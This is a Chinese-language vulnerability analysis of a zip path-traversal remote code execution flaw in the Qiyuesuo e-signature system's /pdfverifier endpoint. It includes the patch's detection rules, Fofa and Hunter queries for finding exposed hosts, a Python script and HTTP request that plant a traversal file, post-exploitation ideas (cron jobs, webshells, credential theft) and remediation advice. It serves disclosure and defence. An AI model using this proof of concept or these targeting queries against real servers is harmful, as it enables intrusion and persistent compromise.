契约锁电子签章系统 pdfverifier 远程代码执行漏洞分析(补丁包逆向分析)
字数 1552 2025-09-01 11:26:11
契约锁电子签章系统 pdfverifier 远程代码执行漏洞分析
一、漏洞概述
契约锁电子签章系统存在一个高危远程代码执行漏洞,该漏洞源于系统在处理OFD文件上传时的路径穿越问题,允许攻击者在服务器上执行任意代码。该漏洞影响广泛版本的契约锁系统,已于2025年7月通过安全补丁修复。
二、受影响版本
- 4.3.8 <= 契约锁 <= 5.x.x && 补丁版本 < 2.1.8
- 4.0.x <= 契约锁 <= 4.3.7 && 补丁版本 < 1.3.8
三、漏洞原理深度分析
3.1 漏洞路径
通过逆向分析补丁包,确认漏洞涉及的关键路径为:
/pdfverifier/api/pdfverifier
3.2 漏洞触发机制
该漏洞是一个上传OFD文件后解压过程中的路径穿越任意文件上传漏洞:
- 攻击者构造含有目录穿越符(如
../)的OFD压缩包 - 系统使用
ZipFile解压读取所有ZipEntry - 解压过程中系统未正确校验路径,导致文件被解压到穿越符指定的目录
- 通过文件覆盖或上传恶意脚本实现任意代码执行
3.3 补丁分析
补丁修复逻辑位于com.qiyuesuo.security.patch.filter.wrapper.PdfverifierPreventWrapper类中,主要修复点:
-
文件上传过滤:
- 重写
getParts()方法处理上传文件 - 提取
filename并判断后缀是否为PDF - 对于非PDF文件或敏感URL,进一步检查路径穿越
- 重写
-
路径穿越检测:
- 实现
hasPathTraversal(byte[])方法 - 将上传文件保存为临时OFD压缩包
- 解压并检查每个条目:
- 是否包含路径穿越符(
../) - 是否以敏感后缀结尾(
.sh,.jar,.bat,.py等)
- 是否包含路径穿越符(
- 发现异常则丢弃文件
- 实现
-
MIME处理:
- 添加
MimeDelegate类解码MIME格式文件名 - 防止攻击者通过编码文件名绕过过滤
- 添加
3.4 关键安全配置
从解密的security.rsc文件中获取的关键安全参数:
- 路径穿越符:
../ - 敏感文件后缀:
.sh,.jar,.bat,.py等
四、环境识别
可通过以下方式识别契约锁系统:
Hunter语法:
web.body="qyswebapp"
Fofa语法:
app="契约锁-电子签署平台"
五、漏洞复现步骤
-
构造恶意OFD文件:
# 示例构造脚本 import zipfile zf = zipfile.ZipFile("malicious.ofd", mode="w") zf.writestr("../../test.txt", "test content") zf.close() -
发送恶意请求:
POST /pdfverifier HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="file"; filename="malicious.ofd" Content-Type: application/ofd [OFD文件二进制内容] ------WebKitFormBoundaryxxxx-- -
验证利用结果:
- 检查
test.txt是否被写入预期目录 - 确认文件内容是否正确
- 检查
六、漏洞利用进阶
成功利用此漏洞后,攻击者可实现:
-
前端篡改:
- 覆盖前端文件修改系统界面
- 植入恶意JavaScript代码
-
持久化后门:
- 写入
/etc/cron.d目录创建定时任务 - 植入Webshell实现持续访问
- 写入
-
横向移动:
- 读取系统配置文件获取数据库凭证
- 利用系统权限访问内网其他资源
七、修复建议
-
官方补丁:
- 立即升级至安全版本:
- 4.x系列升级至1.3.8或更高
- 5.x系列升级至2.1.8或更高
- 补丁下载地址:https://www.qiyuesuo.com/more/security/servicepack
- 立即升级至安全版本:
-
临时缓解措施:
- 禁用
/pdfverifier和/api/pdfverifier接口 - 配置WAF规则拦截可疑OFD文件上传
- 限制服务器文件系统关键目录的写入权限
- 禁用
-
长期防护建议:
- 实施文件上传白名单机制
- 对压缩文件内容进行严格校验
- 定期进行安全审计和渗透测试
八、技术总结
该漏洞危害性高,利用门槛相对较低,攻击者可通过构造特殊OFD文件实现服务器完全控制。漏洞根源在于文件解压过程中的路径校验不严,结合契约锁系统的高权限特性,使得漏洞影响更为严重。建议所有用户立即采取修复措施,避免遭受攻击。